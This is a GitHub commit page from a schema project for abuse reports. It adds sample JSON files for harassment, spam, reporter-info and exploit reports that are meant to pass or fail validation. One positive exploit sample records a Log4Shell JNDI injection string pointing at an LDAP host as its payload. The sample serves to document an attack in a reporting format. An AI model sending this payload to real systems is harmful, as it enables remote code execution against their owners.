Skip to content

Commit

Permalink
Merge remote-tracking branch 'origin' into schema-proposal-web-crawler
Browse files Browse the repository at this point in the history
  • Loading branch information
Maximilian Staab committed Nov 11, 2022
2 parents c009cac + bec5cda commit daea5e8
Show file tree
Hide file tree
Showing 22 changed files with 914 additions and 348 deletions.
533 changes: 265 additions & 268 deletions package-lock.json

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@
"istanbul-lib-instrument": "^4.0.3",
"js-beautify": "^1.13.0",
"lint-staged": ">=10",
"mocha": "^8.2.1",
"mocha": "^10.1.0",
"nyc": "^15.0.1",
"prettier": "2.2.1",
"uuid": "^8.0.0"
Expand Down
18 changes: 18 additions & 0 deletions samples/negative/development/harassment_sample_no_description.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Person",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Harassed McPerson",
"ReporterContactPhone": "+ 01 555 1234567"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Harassed",
"Date": "2022-09-09T14:17:10Z",
"SourceUrl": "192.168.0.11",
"Ongoing": true,
"Harasser": "x.X.Fl4m3r.X.x"
}
}
18 changes: 18 additions & 0 deletions samples/negative/development/harassment_sample_no_harasser.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Person",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Harassed McPerson",
"ReporterContactPhone": "+ 01 555 1234567"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Harassed",
"Date": "2022-09-09T14:17:10Z",
"SourceUrl": "192.168.0.11",
"Ongoing": true,
"HarassmentDescription": "The user called me a bunch of slurs."
}
}
21 changes: 21 additions & 0 deletions samples/negative/development/invalid_exploit_wrong_cve.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Mr. Example",
"ReporterContactPhone": "+ 01 000 1234567"
},
"Disclosure": true,
"Report": {
"ReportType": "Exploit",
"ReportClass": "Activity",
"FirstSeen": "2022-08-22T15:17:10Z",
"Date": "2022-08-24T11:21:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321,
"CVE": "CVE-NOW-23112"
}
}
24 changes: 24 additions & 0 deletions samples/negative/development/invalid_exploit_wrong_vector.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Mr. Example",
"ReporterContactPhone": "+ 01 000 1234567"
},
"Disclosure": true,
"Report": {
"ReportType": "Exploit",
"ReportClass": "Activity",
"FirstSeen": "2022-08-22T15:17:10Z",
"Date": "2022-08-24T11:21:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321,
"CVSS": {
"Version": "2",
"Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
}
}
}
24 changes: 24 additions & 0 deletions samples/negative/development/invalid_exploit_wrong_version.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Mr. Example",
"ReporterContactPhone": "+ 01 000 1234567"
},
"Disclosure": true,
"Report": {
"ReportType": "Exploit",
"ReportClass": "Activity",
"FirstSeen": "2022-08-22T15:17:10Z",
"Date": "2022-08-24T11:21:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321,
"CVSS": {
"Version": "4",
"Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
}
}
}
23 changes: 23 additions & 0 deletions samples/negative/development/invalid_missing_reporter_props4.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"Version": "development",
"ReporterInfo": [],
"Report": {
"ReportClass": "Activity",
"ReportType": "Spam",
"ReportSubType": "Trap",
"Date": "2018-02-05T14:17:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321,
"DestinationIp": "198.51.100.33",
"DestinationPort": 25,
"SmtpMailFromAddress": "[email protected]",
"Samples": [
{
"ContentType": "message/rfc822",
"Base64Encoded": true,
"Description": "The spam mail",
"Payload": "bWFpbA=="
}
]
}
}
26 changes: 26 additions & 0 deletions samples/negative/development/invalid_missing_reporter_props5.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com"
},
"Report": {
"ReportClass": "Activity",
"ReportType": "Spam",
"ReportSubType": "Trap",
"Date": "2018-02-05T14:17:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321,
"DestinationIp": "198.51.100.33",
"DestinationPort": 25,
"SmtpMailFromAddress": "[email protected]",
"Samples": [
{
"ContentType": "message/rfc822",
"Base64Encoded": true,
"Description": "The spam mail",
"Payload": "bWFpbA=="
}
]
}
}
37 changes: 37 additions & 0 deletions samples/positive/development/exploit_sample.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Mr. Example",
"ReporterContactPhone": "+ 01 000 1234567"
},
"Disclosure": true,
"Report": {
"ReportType": "Exploit",
"ReportClass": "Activity",
"FirstSeen": "2022-08-22T15:17:10Z",
"Date": "2022-08-24T11:21:10Z",
"ServiceName": "Log4j",
"SourceIp": "192.0.2.55",
"SourcePort": 54321,
"Samples": [
{
"ContentType": "text/plain",
"Base64Encoded": false,
"Description": "Log line",
"Payload": "${jndi:ldap://123.123.123.123:1389/Exploit}"
}
],
"DestinationIp": "123.123.123.123",
"DestinationPort": 1389,
"CVE": "CVE-2021-44228",
"CVSS": {
"Version": "3.1",
"Score": 10.0,
"Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
}
}
}
20 changes: 20 additions & 0 deletions samples/positive/development/exploit_sample_minimal.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Mr. Example",
"ReporterContactPhone": "+ 01 000 1234567"
},
"Disclosure": true,
"Report": {
"ReportType": "Exploit",
"ReportClass": "Activity",
"FirstSeen": "2022-08-22T15:17:10Z",
"Date": "2022-08-24T11:21:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321
}
}
21 changes: 21 additions & 0 deletions samples/positive/development/harassment_sample_game.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Person",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Harassed McPerson",
"ReporterContactPhone": "+ 01 555 1234567"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Harassment",
"Date": "2022-09-09T14:17:10Z",
"SourceUrl": "https://thepetgoatgame.play",
"Ongoing": true,
"Harasser": "x.X.Fl4m3r.X.x",
"HarassmentLocation": "game",
"HarassmentType": "hate",
"HarassmentDescription": "The user called me a bunch of slurs."
}
}
29 changes: 29 additions & 0 deletions samples/positive/development/harassment_sample_image.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Person",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Harassed McPerson",
"ReporterContactPhone": "+ 01 555 1234567"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Harassment",
"Date": "2022-09-09T14:17:10Z",
"SourceUrl": "https://social.media/comment/87896745329",
"Ongoing": true,
"Harasser": "ForumUser123",
"HarassmentLocation": "website",
"HarassmentType": "doxing",
"HarassmentDescription": "Someone leaked my private home address with the intention of directing hate at me.",
"Samples": [
{
"ContentType": "image/png",
"Base64Encoded": true,
"Description": "Image of the comment leaking my address",
"Payload": "iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAMAAAAolt3jAAAAPFBMVEUZGyDBx8wyNTq5v8Sr\nsbYqLDFDRkvK0daEiY5IS1DDyc6vtbqiqK2LkZaIjpN1eX5cX2Q+QUYoKzAfISa2fY/BAAAA\nQElEQVQI12PAD5iYoQwBRiFkriCHMIKLUMzPyM3EwMDDxQjmsnMycPACGawQLpDkZIFwoXrZ\nSOUyMrIz8hFwMgCL5QFBsWv97gAAAABJRU5ErkJggg=="
}
]
}
}
29 changes: 29 additions & 0 deletions samples/positive/development/harassment_sample_url.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Person",
"ReporterContactEmail": "[email protected]",
"ReporterContactName": "Harassed McPerson",
"ReporterContactPhone": "+ 01 555 1234567"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Harassment",
"Date": "2022-09-09T14:17:10Z",
"SourceUrl": "http://irc.5ch.net",
"Ongoing": true,
"Harasser": "@notarealperson",
"HarassmentDescription": "@notarealperson has published a deepfake of me doing something illegal, claiming that it was really me that did it.",
"HarassmentType": "defamation",
"HarassmentLocation": "chat",
"Samples": [
{
"ContentType": "image/x-uri",
"Base64Encoded": false,
"Description": "Url to an image ",
"Payload": "https://imagehostingservice.tld/image/123456789"
}
]
}
}
16 changes: 16 additions & 0 deletions samples/positive/development/reporter_info_minimal.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Spam",
"Date": "2018-02-05T14:17:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321
}
}
17 changes: 17 additions & 0 deletions samples/positive/development/reporter_info_org.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Org",
"ReporterOrg": "ExampleOrg",
"ReporterOrgDomain": "example.com",
"ReporterOrgEmail": "[email protected]"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Spam",
"Date": "2018-02-05T14:17:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321
}
}
15 changes: 15 additions & 0 deletions samples/positive/development/reporter_info_person.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
{
"Version": "development",
"ReporterInfo": {
"ReporterType": "Person",
"ReporterOrg": "ExampleOrg"
},
"Disclosure": true,
"Report": {
"ReportClass": "Activity",
"ReportType": "Spam",
"Date": "2018-02-05T14:17:10Z",
"SourceIp": "192.0.2.55",
"SourcePort": 54321
}
}
Loading

0 comments on commit daea5e8

Please sign in to comment.